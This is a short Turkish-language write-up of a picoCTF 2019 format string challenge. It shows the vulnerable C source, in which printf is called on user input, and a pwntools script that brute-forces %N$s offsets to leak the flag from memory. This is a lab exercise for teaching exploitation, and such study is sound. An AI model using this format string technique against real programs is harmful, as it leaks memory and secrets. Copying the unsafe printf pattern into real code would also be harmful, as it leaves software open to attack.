Kaynak bir c programında arabellek taşması ile kodun çalışmasını değiştirme. Flag.txt dosyasını okumaya çalışacağız.

Buradaki biçim dizeleri ile istismar için kullanılan printf için gerekli kaynak:

http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

Yapılan işlemler :buff taşır, format_strings ile hafızadaki bayrağı yazdır.

örneğin programa girdi olarak %x verirsek bellek adreslerini görürüz. bu yüzden bruteforce ile bayrakta saklananlar yazdırılabilir.

Dolayısıyla %XX$s, doğru ofset yaparsak, bayrağı yazdırabiliriz.

Kaynak: picoctf 2019

Kaynak C Dosyası kodları vuln.c;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAG_BUFFER 128
#define LINE_BUFFER_SIZE 2000

void printMessage3(char *in)
{
puts(“will be printed:\n”);
printf(in);

//printf biçim dizeleri saldırısı
}
void printMessage2(char *in)
{
puts(“your input “);
printMessage3(in);
}

void printMessage1(char *in)
{
puts(“Now “);
printMessage2(in);
}

int main (int argc, char **argv)
{
puts(“input whatever string you want; then it will be printed back:\n”);
int read;
unsigned int len;
char *input = NULL;
getline(&input, &len, stdin);
//There is no win function, but the flag is wandering in the memory!
char * buf = malloc(sizeof(char)*FLAG_BUFFER);
FILE *f = fopen(“flag.txt”,”r”);
fgets(buf,FLAG_BUFFER,f);
printMessage1(input);
fflush(stdout);

//bayrak yığına yüklenmesine rağmen, yığın üzerinde hala bir işaretçi var.

}

çözüm script.py:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context.log_level = ‘critical’

for i in range(1,100):
try:
s = process(‘./vuln’)
print i,
s.recvuntil(‘back:\n\n’)
s.sendline(‘%’ +str(i)+ ‘$s’)
response = s.recv()
print response
if ( ‘picoCTF’ in response ):
print “Found!!!”
exit()
s.close()
sleep(1)
except:
print error
sleep(1)